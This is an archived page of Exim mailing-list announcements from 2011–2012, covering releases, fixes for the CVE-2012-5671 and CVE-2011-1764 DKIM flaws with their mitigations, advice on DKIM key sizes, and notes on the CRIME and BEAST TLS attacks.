headers
Tony Finch | 26 Oct 2012 18:46
Picon
Favicon

Apologies for unexpected exim.org downtime

The machine hosting exim.org suffered some unexpected downtime on the
afternoon of Friday 26 October between 14:51 and 17:12. The server failed
to reboot because of some minor disk corruption and it took rather too
long to fix this problem.

The downtime was not related to the security patch release of Exim earlier
in the day.

Sorry for any inconvenience this may have caused.

Tony.
-- 
<fanf <at> exim.org>   <dot <at> dotat.at>   http://dotat.at/   ${sg{\N${sg{\
N\}{([^N]*)(.)(.)(.*)}{\$1\$3\$2\$1\$3\n\$2\$3\$4\$3\n\$3\$2\$4}}\
\N}{([^N]*)(.)(.)(.*)}{\$1\$3\$2\$1\$3\n\$2\$3\$4\$3\n\$3\$2\$4}}

--

-- 
## List details at https://lists.exim.org/mailman/listinfo/exim-announce Exim details at
http://www.exim.org/ ##
Permalink | Reply | 0 comments |
headers
Phil Pennock | 26 Oct 2012 10:03
Favicon
Gravatar

Exim 4.80.1 Security Release


Exim release 4.80.1 is now available from the primary ftp site:
  * ftp://ftp.exim.org/pub/exim/exim4/exim-4.80.1.tar.gz
  * ftp://ftp.exim.org/pub/exim/exim4/exim-4.80.1.tar.bz2
 _________________________________________________________________

This is a SECURITY release, addressing a CRITICAL remote code execution
flaw in versions of Exim between 4.70 and 4.80 inclusive, when built
with DKIM support (the default).  This release is identical to 4.80
except for the small changes needed to plug the security hole.  The next
release of Exim will, eventually, be 4.82, which will include the many
improvements we've made since 4.80, but which will require the normal
release candidate baking process before release.

You are not vulnerable if you built Exim with DISABLE_DKIM or if you
put this at the start of an ACL plumbed into acl_smtp_connect or
acl_smtp_rcpt:

  warn control = dkim_disable_verify

I apologise for the impact of releasing this on a Friday.  I do not
consider there to be an acceptable alternative.  This issue, which is
known by the CVE ID of CVE-2012-5671, was found during internal code
review of an area of the Exim codebase relevant to another issue, DKIM
signing and verification, which has been the subject of US-CERT
VU#268267 and Common Weakness identifiers CWE-347 and CWE-326.  As such,
I expect that this area of code in various MTAs will be studied by many
security conscious people around about now, so there is a significant
risk that someone unfriendly has also discovered this, concurrently to
our finding it.  We discovered the issue on Wednesday, gave Thursday for
(Continue reading)

Permalink | Reply | 0 comments |
headers
Phil Pennock | 24 Oct 2012 22:48
Favicon
Gravatar

Security/DKIM: use adequate key sizes


Folks,

For a narrative walk-through of what can go wrong when you don't use
large enough keys in public cryptography, as applied in a real world
attack against DKIM in email:

  http://www.wired.com/threatlevel/2012/10/dkim-vulnerability-widespread/

There is a US-CERT announcement:

  http://www.kb.cert.org/vuls/id/268267

In particular, a number of tutorials on how to set up DKIM will have the
administrator use the openssl command to create a 512 or 768 bit RSA
key.  This is unwise, and may permit others to fraudulently assert that
their mail comes from you.  If your mail and reputation are worth
protecting, they're worth protecting right.

  “A 384-bit key I can factor on my laptop in 24 hours,” he says. “The
  512-bit keys I can factor in about 72 hours using Amazon Web Services
  for $75. And I did do a number of those. Then there are the 768-bit
  keys. Those are not factorable by a normal person like me with my
  resources alone. But the government of Iran probably could, or a large
  group with sufficient computing resources could pull it off.”
    -- Zachary Harris, cited in the Wired article

Public key cryptography on the Internet is in an awkward transitional
phase: most folks are still using RSA and it's the "de facto supported"
algorithm, but adequate key lengths today make processing very slow.  In
(Continue reading)

Permalink | Reply | 0 comments |
headers
Phil Pennock | 9 Oct 2012 19:34
Favicon
Gravatar

Exim, TLS, "CRIME" attack


Short version: if you take authentication data in Exim, or supply it,
over TLS, with Exim built against OpenSSL, then you _might_ want to set:
  openssl_options = +no_compression
in your Exim configuration file.  This option value requires Exim 4.80
and a version of OpenSSL which defines SSL_OP_NO_COMPRESSION (1.0.0 or
greater).  We might fix this for Exim 4.81 to not be necessary.

There's no adjustment possible with GnuTLS yet.

Longer version:

The "CRIME" attack uses TLS compression against itself: if someone can
control part of the content of a TLS session, they can iterate across
multiple sessions to try to make the packets smaller, by trying to
repeat content they don't have access to: your SMTP authentication data.

Any sort of attack would probably trip any ratelimits you might have
configured, and would be visible as many mails, and requires the
attacker to both be able to send mail from a client and witness the
packet sizes on the wire, and send the mail to someone who won't be
bothered by the sheer volume of such mails (eg, themselves).

Whether this affects your setup is not something I can decide for you.
Much of the analysis for the impact of BEAST applies here too:
  https://lists.exim.org/lurker/message/20110924.025611.322d31d8.en.html
(Ignore the "CBC, OpenSSL & GnuTLS" section).

I do not intend to disable TLS compression by default in Exim.  Most
uses of TLS remain unauthenticated (and, at this time, unverified).
(Continue reading)

Permalink | Reply | 0 comments |
headers
l.rinetti@movimatica.com | 6 Aug 2012 12:08

Exim 4.80 Release for Debian

When will be available the debianized version ?
I'd like to use the 4.80 in my Ubuntu Server 12.04.
Please excuse me if this is not the correct mlist to discuss this item 
(if so what is the correct one ?).

Best Regards

luciano

--

-- 
## List details at https://lists.exim.org/mailman/listinfo/exim-announce Exim details at
http://www.exim.org/ ##
Permalink | Reply | 0 comments |
headers
Phil Pennock | 31 May 2012 12:02
Favicon
Gravatar

Exim 4.80 Release


Exim release 4.80 is now available from the primary ftp site:
  * ftp://ftp.exim.org/pub/exim/exim4/exim-4.80.tar.gz
  * ftp://ftp.exim.org/pub/exim/exim4/exim-4.80.tar.bz2
 _________________________________________________________________

This release contains backwards incompatible changes.  PLEASE read the
README.UPDATING file before upgrading.  These changes affect OpenSSL,
GnuTLS and LDAP.

OpenSSL default options have changed to be more secure, including
disabling of SSLv2 by default (and adding support for TLSv1.1 and
TLSv1.2 if using OpenSSL 1.0.1 or newer); GnuTLS has been updated to use
a new API and stop honouring some options starting gnutls_*; users of
LDAP can now distinguish "comma in data" from "multi-valued attribute".
There are more details, covering more changes, in README.UPDATING.

We now enable accept_8bitmime by default, as the Exim maintainers agree
with Dan Bernstein about the best way to deal with the 8BITMIME
extension.

Building Exim should now be easier, with pkg-config support.  We now
support use of the TLS Server Name Indication (SNI) extension, both as
client and as server, so Exim can present different TLS identities to
different clients on the same port.  We have new authentication drivers,
for gsasl and heimdal_gssapi.  The ${eval...} expansion operator now
supports 64-bit arithmetic (on 64-bit platforms).  Exim can now be
started with support for inetd "wait-mode", which should be a precursor
to socket activation support for your OS's init system.
 _________________________________________________________________
(Continue reading)

Permalink | Reply | 0 comments |
headers
Phil Pennock | 10 Oct 2011 07:56
Favicon
Gravatar

Exim 4.77 Release


Exim release 4.77 is now available from the primary ftp site:
  * ftp://ftp.exim.org/pub/exim/exim4/exim-4.77.tar.gz
  * ftp://ftp.exim.org/pub/exim/exim4/exim-4.77.tar.bz2
 _________________________________________________________________

This release contains backwards incompatible changes.  PLEASE read the
README.UPDATING file before upgrading.  Per the recent Exim-Announce
notice, we have realised that the match_<type>{}{} expansion conditions
were too powerful and sometimes misused, leading to configurations with
security issues, such as SQL injection attacks.

So we have restricted their functionality.  The README.UPDATING file
describes precisely what has changed and what the alternatives are, and
how to restore the old functionality, should you need to.

In brighter news: rate-limiting is now more powerful and users of GnuTLS
can now use TLS 1.1 and 1.2 for connections.
 _________________________________________________________________

The primary ftp server is in Cambridge, England. There is a list of
mirrors in:
  * http://www.exim.org/mirmon/ftp_mirrors.html

The master ftp server is ftp.exim.org.

The distribution files are signed with Phil Pennock's PGP key 0x3903637F
(uid pdp <at> exim.org; signed by Nigel Metheringham's PGP key DDC03262).
This key should be available from all modern PGP keyservers. Please use
your own discretion in assessing what trust paths you might have to this
(Continue reading)

Permalink | Reply | 0 comments |
headers
Phil Pennock | 3 Oct 2011 14:23
Favicon
Gravatar

Exim Security: 4.77 hardening of match_* conditions


Folks,

The forthcoming Exim 4.77 release (now in Release Candidate state) will
have a backwards-incompatible change by default, in configuration
parsing of four expansion conditions: "match_address", "match_domain",
"match_ip" & "match_local_part".

Exim's treatment of these options has matched the documentation, but
does not appear to match the expectations of many administrators, who as
a result may have created configurations which have a security flaw,
leading to problems such as SQL injection.

Exim's configuration language generally provides a lot of power, but
also requires the administrator to use functions like ${quote_mysql:...}
when constructing an SQL query.  We let you shoot yourself in the foot.
We also provide an ${expand:...} operator, to let you re-expand strings;
hopefully it is obvious that re-expanding data extracted from an email's
headers is a security problem.  This is much like the "eval"
functionality of many scripting languages.

In the case of the match_* operators, the problem is more subtle and too
many folks did not understand the documented behaviour and so
inadvertently created similar situations, using expansion conditions
more powerful than they realised.

The four expansion conditions "match_address", "match_domain",
"match_ip" & "match_local_part" all take two arguments.  The first is
something to look for, the second is a list of data to match against.
In common with Exim typed list handling, these lists can contain more
(Continue reading)

Permalink | Reply | 1 comment |
headers
Phil Pennock | 24 Sep 2011 04:56
Favicon
Gravatar

Exim, TLS, BEAST et al - security notes


Administrators may be worried about the current reports of the so-called
"BEAST" attacks against SSL/TLS.  This mail addresses the impact on Exim
as I currently understand the issues.  I will use "TLS" below to mean
SSL and/or TLS, since most environments can be forced to degrade at
least down to SSL3.0.

Short version: not directly vulnerable to this threat model, but if you
use plaintext passwords over TLS to authenticate to a remote web-server,
or your clients authenticate to you in this way, then there are more
general issues to be aware of.  There are TLS compatibility vs security
trade-offs that you might want to tune in this case.  See the existing
documentation for the "openssl_options" variable and the documented
suggested alternate value; the option was added in Exim 4.73.  Online
documentation:

  http://www.exim.org/exim-html-current/doc/html/spec_html/ch14.html

At this point, there are no plans to release a new version of Exim
specifically to address this issue, and whether to change the default
value of "openssl_options" is still open to debate.  There are a couple
of other adjustments that will be made, most notably to our GnuTLS
configuration support.

In practice, my non-cryptographic-expert summary is: don't worry too
much right now.

Longer version follows.  Much Longer.  I aimed for completeness.  Beware
that this was written in one sitting, so something may still be absent.
(Continue reading)

Permalink | Reply | 0 comments |
headers
Nigel Metheringham | 5 Sep 2011 22:45
Picon
Gravatar

Exim list changes

I have just made 2 changes to the list configurations on exim.org:-

  1. Monthly list reminders have been switched off.
     It has been a long time since these were considered best
     practice, and routinely sending out clear text passwords
     is not sensible.

  2. VERP has been set on all the lists.  This will make the
     handling of non-delivery notifications much more effective.
     If you filter lists based on the envelope sender address then
     this may break your filtering.  The message headers should not
     change.

VERP handling will increase the load on the exim.org machines, but
the reduced throughput on the list in recent years makes this less 
of an issue.

	Nigel.

--
[ Nigel Metheringham ------------------------------ nigel <at> dotdot.it ]
[                 Ellipsis Intangible Technologies                  ]

--

-- 
## List details at https://lists.exim.org/mailman/listinfo/exim-announce Exim details at
http://www.exim.org/ ##
Permalink | Reply | 0 comments |
headers
Phil Pennock | 9 May 2011 11:16
Favicon
Gravatar

Exim 4.76 Release


Exim release 4.76 is now available from the primary ftp site:
  * ftp://ftp.exim.org/pub/exim/exim4/exim-4.76.tar.gz
  * ftp://ftp.exim.org/pub/exim/exim4/exim-4.76.tar.bz2
 _________________________________________________________________

This is a SECURITY release: Exim versions 4.70 up to and including 4.75
contained a security hole (format string attack) permitting remote
execution of arbitrary code as the Exim run-time user.  This is
CVE-2011-1764.  There is also another, lesser security issue.  Both lie
in the DKIM code and mitigation techniques are described below.

Note that as part of our work to improve Exim and protect against future
security issues, some changes were made to the code to pass gcc with
many more warnings enabled, and in some cases to compile with Clang.
Although feedback so far has been positive, there remains a chance that
these changes will cause compilation problems on lesser-tested
platforms; please raise any issues encountered on the exim-users
mailing-list.

 _________________________________________________________________

The primary ftp server is in Cambridge, England. There is a list of
mirrors in:
  * http://www.exim.org/mirmon/ftp_mirrors.html

The master ftp server is ftp.exim.org.

The distribution files are signed with Phil Pennock's PGP key 0x3903637F
(uid pdp <at> exim.org; signed by Nigel Metheringham's PGP key DDC03262).
(Continue reading)

Permalink | Reply | 1 comment |

Gmane